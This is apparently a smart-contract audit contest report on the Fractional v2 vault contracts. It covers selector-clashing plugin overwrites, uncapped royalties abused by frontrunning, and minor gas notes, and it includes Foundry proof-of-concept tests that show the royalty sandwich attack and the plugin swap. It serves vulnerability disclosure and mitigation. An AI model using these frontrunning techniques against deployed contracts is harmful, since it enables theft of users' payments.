Fractional v2 contest - 0xNineDec's results

Lines of code

https://github.com/code-423n4/2022-07-fractional/blob/8f2697ae727c60c93ea47276f8fa128369abfe51/src/Vault.sol#L73

Vulnerability details

Impact

Each vault owner can manage freely the creation and deletion of plugins at any time if the vault was deployed by calling VaultRegistry.createFor(). An owner can simply overwrite a current plugin selector with a new address and change the implementation of that plugin at any time. This can be used to frontrun others and change the logic of a call before it is mined.

This strategy can also be used to bypass the need to uninstall a plugin by overwriting a currently installed one with a different implementation without needing to first remove the old plugin and then install the new one. This can be made just by installing a selector that collides with a previously installed plugin and change the address that is pointing that selector.

Proof of Concept

There are two scenarios both relying on the fact that plugins can be overwritten which may lead to confusion in one case and to a malicious call in the other one.

Case A: Deployment with many clashing selectors

A user can deploy a vault owner and install more than one plugin which selectors are the same. This will make that the last plugin address of the array will be pointed as the implementation of that plugin and the other ones will be overwritten. The whole installation process will emit an event containing the same selectors but different addresses which may be deceiving. Users that are not aware on how mapping data can be overwritten can be deceived because of this process.

function test_canDeployWithCollidingSelector() public {
    // Getting the colliding selectors that point to different implementations.
    bytes4 selectorOne = bytes4(keccak256(bytes("func_2093253501(bytes)")));
    bytes4 selectorTwo = bytes4(keccak256(bytes("transfer(address,uint256)")));
    
    bytes4[] memory collidingSelectors = new bytes4[](2);
    address[] memory nonCollidingPlugins = new address[](2);

    collidingSelectors[0] = selectorOne;
    nonCollidingPlugins[0] = address(0xdead1);

    collidingSelectors[1] = selectorTwo;
    nonCollidingPlugins[1] = address(0xdead2);

    // Deploying a vault
    vault = alice.registry.createFor(
        merkleRoot,
        alice.addr,
        nonCollidingPlugins,
        collidingSelectors
    );
    token = registry.fNFT();
    setUpFERC1155(alice, token);

    assertEq(IVault(vault).owner(), alice.addr);
    assertEq(fERC1155.controller(), address(this));

    // Both selectors point to the same address of implementation.
    assertEq(IVault(vault).methods(selectorOne), address(0xdead2));
    assertEq(IVault(vault).methods(selectorTwo), address(0xdead2));
}

Case B: Frontrun other users call

A malicious vault owner can deploy a vault with a legit plugin that other users will call on a regular basis. The owner can develop a malicious plugin implementation, wait until there is a transaction that is targeting that plugin and frontrun it overwriting the plugin address by using the same selector. The new implementation can have unintended behavior for that user. If the owner is even more decided to continue doing this, he can backrun the transaction with another call setting the plugin address back to the legit implementation.

function test_canOverwritePlugin() public {
        // Generating the colliding selectors
        bytes4 selectorOne = bytes4(keccak256(bytes("collate_propagate_storage(bytes16)")));
        bytes4 selectorTwo = bytes4(keccak256(bytes("burn(uint256)")));
        
        bytes4[] memory collidingSelectors = new bytes4[](1);
        address[] memory nonCollidingPlugins = new address[](1);

        collidingSelectors[0] = selectorOne;
        nonCollidingPlugins[0] = address(0xdead1);

        // Deploying a vault
        vault = alice.registry.createFor(
            merkleRoot,
            alice.addr,
            nonCollidingPlugins,
            collidingSelectors
        );
        token = registry.fNFT();
        setUpFERC1155(alice, token);

        assertEq(IVault(vault).owner(), alice.addr);
        assertEq(fERC1155.controller(), address(this));

        // Checking that the selector one was properly installed and that points to 0xdead1
        assertEq(IVault(vault).methods(selectorOne), address(0xdead1));

        // At any time the owner will be able to overwrite the plugin by clashing with the existing one.
        // this can be used to frontrun a call that targets selectorOne and modify its implementation.
        vm.startPrank(alice.addr);
        bytes4[] memory clashingSelector = new bytes4[](1);
        address[] memory newPluginAddress = new address[](1);

        clashingSelector[0] = selectorTwo; // The one declared before.
        newPluginAddress[0] = address(0xdead2);

        IVault(vault).install(clashingSelector, newPluginAddress);
        vm.stopPrank();

        // Checking that the selector was indeed overwritten and now is pointing to 0xdead2
        assertEq(IVault(vault).methods(selectorOne), address(0xdead2));
        assertEq(IVault(vault).methods(selectorTwo), address(0xdead2)); // Redundant assertion.
        
        vm.startPrank(alice.addr);
        // Also, there is no need to have a clashing function with other name.
        // It is just enough to use the same function name as before with a new address.
        clashingSelector[0] = selectorOne;
        newPluginAddress[0] = address(0xdead3);

        IVault(vault).install(clashingSelector, newPluginAddress);
        vm.stopPrank();
        assertEq(IVault(vault).methods(selectorOne), address(0xdead3));
        assertEq(IVault(vault).methods(selectorTwo), address(0xdead3));            
    }

Recommended Mitigation Steps

First of all it is important to unify the criteria related on which are the entry points for an user to deploy a vault. Having different functions that lead to distinct access control roles within a deployed vault is potentially an issue (as shown before).

Also, regarding plugin installation it is important to check if the plugin that is willing to be installed is not overwriting the methods mapping (in other words, checking if methods(selector) is empty in order to perform the installation) and if plugins are not intended to work as emergency functions that need to be injected into a vault quickly, I would consider timelocking the process of plugin installation.

Lines of code

https://github.com/code-423n4/2022-07-fractional/blob/8f2697ae727c60c93ea47276f8fa128369abfe51/src/VaultRegistry.sol#L147 https://github.com/code-423n4/2022-07-fractional/blob/8f2697ae727c60c93ea47276f8fa128369abfe51/src/FERC1155.sol#L217

Vulnerability details

Impact

The secondary sales of a specific FERC1155 token can be charged with a certain amount of fees established by the controller of the FERC1155. Those royalties are meant to be sent to a receiver according to the current implementation. Currently the protocol intends users to deploy vaults via BaseVault.deployVault() which further calls VaultRegistry.create() that uses the currently deployed fNFT instance which it is controlled by the protocol itself.

However, there is other path that allows users deploying a vault where they are also the controllers of the fNFT instance. This allows users to take control over how are the royalty fees changed. A user can easily change maliciously the amount of royalties (which are also uncapped) and steal a considerable (even the whole) amount of FERC1155 transferred.

Proof of Concept

In order to illustrate this, we will conduct a hypothetical scenario where Alice is a malicious vault owner that deploys her vault by directly calling VaultRegistry.createCollectionFor(), bypassing the need to call BaseVault.deployVault().

• Alice creates a vault to fractionalize a pricy asset with the _merkleRoot containing the Minter module by calling VaultRegistry.createCollectionFor(). She is now owner of Token.
• She mints an amount of fTokens and starts to distribute them among the community, and calls Token.setRoyalties() setting the royalties for the secondary market at 1% (in order to incentivize and grow a secondary market).
• A few periods later once the secondary market of that token acquired considerable momentum, Alice scans the mempool and decides to frontrun Bob (who was performing a big transfer) and steals the 100% of payment.

As a result of this process, Bob lost transferred the token to the buyer and received no payment in exchange and Alice got her hands on the whole payment.

It is showcased on the following code that Alice has control over how the fees are modified and when.

    function test_CanFrontrunRoyalties() public {
        (vault, token) = alice.registry.createCollectionFor(
            merkleRoot,
            alice.addr,
            nftReceiverPlugins,
            nftReceiverSelectors
        );

        assertEq(IVault(vault).owner(), address(registry));
        assertEq(IFERC1155(token).controller(), alice.addr);
        
        // Supposing that Alice added herself a minter permission within the merkleRoot
        // that allows her to call Supply.mint(), she will be able to mint tokens.

        // A few days pass and now the tokens are distributed across the community.
        uint256 currentId = 1; // Supposed assigned tokenId.
        uint256 maxPercentage = 100;
        uint256 initialPercentage = 1;

        // Initially Alice sets royalties at 1% in order to incentive secondary market.
        vm.prank(alice.addr);
        IFERC1155(token).setRoyalties(currentId, alice.addr, initialPercentage);

        // Check that anyone but Alice can change the royalties.
        vm.startPrank(bob.addr);
        vm.expectRevert(
            abi.encodeWithSelector(
                IFERC1155.InvalidSender.selector,
                alice.addr, 
                bob.addr
            )
        );    
        IFERC1155(token).setRoyalties(currentId, bob.addr, maxPercentage);     
        vm.stopPrank();

        // Here is where the attack starts.
        vm.startPrank(alice.addr);
        // Frontruns a big transaction (in terms of ether counterpart).
        IFERC1155(token).setRoyalties(currentId, alice.addr, maxPercentage);
        uint256 salePriceInEther = 100 ether;

        (address royaltyReceiver, uint256 calculatedRoyalties) = IFERC1155(token).royaltyInfo(currentId, salePriceInEther);
        assertEq(royaltyReceiver, alice.addr);
        assertEq(calculatedRoyalties, salePriceInEther * maxPercentage / 100);

        // TX <====== sandwitched attacked transaction is mined

        // Backruns taking back the royalties to what it was initially.
        IFERC1155(token).setRoyalties(currentId, alice.addr, initialPercentage);
        (royaltyReceiver, calculatedRoyalties) = IFERC1155(token).royaltyInfo(currentId, salePriceInEther);
        assertEq(royaltyReceiver, alice.addr);
        assertEq(calculatedRoyalties, salePriceInEther * initialPercentage / 100);
        vm.stopPrank();
    }

Recommended Mitigation Steps

It is needed to define clearly how users are intended to deploy vaults under which privileges. The fact that a user can deploy a vault both from BaseVault and VaultRegistry having different privileges is an issue. If needed, the VaultRegistry key functions can be set as internal and have specific callers within BaseVault that control also the privileges of each creation in order to concentrate the vault creations within a single endpoint.

Also, it is extremely important to set a maximum cap for the royalties as soon as possible. Although this does not mitigate the fact that a malicious vault owner can frontrun others, it gives a maximum boundary. What will be a definitive solution is setting both a maximum cap for the royalties and timelock that function so that vault owners have to wait a certain amount of time before changing the royalties in order to bring predictability for the community.

N: WRONG COMMENT ON BUYOUT.SOL

https://github.com/code-423n4/2022-07-fractional/blob/8f2697ae727c60c93ea47276f8fa128369abfe51/src/modules/Buyout.sol#L333

The function Buyout.withdrawERC20 transfers ERC20 tokens instead of ERC721. The comment marked within the permalink should be changed to ERC20.

FOR LOOP: USING ++i INSTEAD OF i++

https://github.com/code-423n4/2022-07-fractional/blob/8f2697ae727c60c93ea47276f8fa128369abfe51/src/Vault.sol#L78

https://github.com/code-423n4/2022-07-fractional/blob/8f2697ae727c60c93ea47276f8fa128369abfe51/src/Vault.sol#L104

The for loops from the provided permalinks within Vault.sol can increase the iterator by ++i (which increases and returns the incremented value) instead of i++ to save gas.